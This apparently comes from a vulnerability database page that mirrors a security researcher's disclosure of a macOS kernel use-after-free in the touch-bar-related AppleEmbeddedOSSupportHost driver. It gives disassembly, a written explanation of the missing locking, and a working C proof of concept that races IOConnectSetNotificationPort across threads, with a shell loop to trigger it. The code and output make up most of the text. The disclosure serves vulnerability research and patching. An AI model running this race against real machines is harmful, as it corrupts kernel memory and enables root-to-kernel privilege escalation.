/*
AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.
Here's the userclient's registerNotificationPort method:
__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4 push rbp
__text:0000000000002DE5 mov rbp, rsp
__text:0000000000002DE8 push r14
__text:0000000000002DEA push rbx
__text:0000000000002DEB mov r14, rsi
__text:0000000000002DEE mov rbx, rdi
__text:0000000000002DF1 mov rdi, [rbx+0E8h]
__text:0000000000002DF8 test rdi, rdi
__text:0000000000002DFB jz short loc_2E0D
__text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02 mov qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D mov [rbx+0E8h], r14
__text:0000000000002E14 xor eax, eax
__text:0000000000002E16 pop rbx
__text:0000000000002E17 pop r14
__text:0000000000002E19 pop rbp
__text:0000000000002E1A retn
The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.
By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when
it only holds one.
Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.
Repro like this: while true; do ./embedded_host; done
Please test on a machine which has a touchbar!
> kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
*/
// ianbeer
#if 0
MacOS kernel uaf due to lack of locking in AppleEmbeddedOSSupportHostClient::registerNotificationPort
AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.
Here's the userclient's registerNotificationPort method:
__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4 push rbp
__text:0000000000002DE5 mov rbp, rsp
__text:0000000000002DE8 push r14
__text:0000000000002DEA push rbx
__text:0000000000002DEB mov r14, rsi
__text:0000000000002DEE mov rbx, rdi
__text:0000000000002DF1 mov rdi, [rbx+0E8h]
__text:0000000000002DF8 test rdi, rdi
__text:0000000000002DFB jz short loc_2E0D
__text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02 mov qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D mov [rbx+0E8h], r14
__text:0000000000002E14 xor eax, eax
__text:0000000000002E16 pop rbx
__text:0000000000002E17 pop r14
__text:0000000000002E19 pop rbp
__text:0000000000002E1A retn
The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.
By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when
it only holds one.
Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.
Repro like this: while true; do ./embedded_host; done
Please test on a machine which has a touchbar!
> kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
#endif
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
#include <IOKit/IOKitLib.h>
mach_port_t q() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
volatile int start = 0;
volatile mach_port_t conn;
void* racer(void* arg) {
while(!start){;}
IOConnectSetNotificationPort(conn, 0, MACH_PORT_NULL, 0);
return NULL;
}
int main() {
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleEmbeddedOSSupportHost"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
mach_port_t p = q();
IOConnectSetNotificationPort(conn, 0, p, 0);
//mach_port_destroy(mach_task_self(), p);
// kernel holds the only ref
int n_threads = 2;
pthread_t threads[n_threads];
for(uint32_t i = 0; i < n_threads; i++) {
pthread_create(&threads[i], NULL, racer, NULL);
}
start = 1;
for(uint32_t i = 0; i < n_threads; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation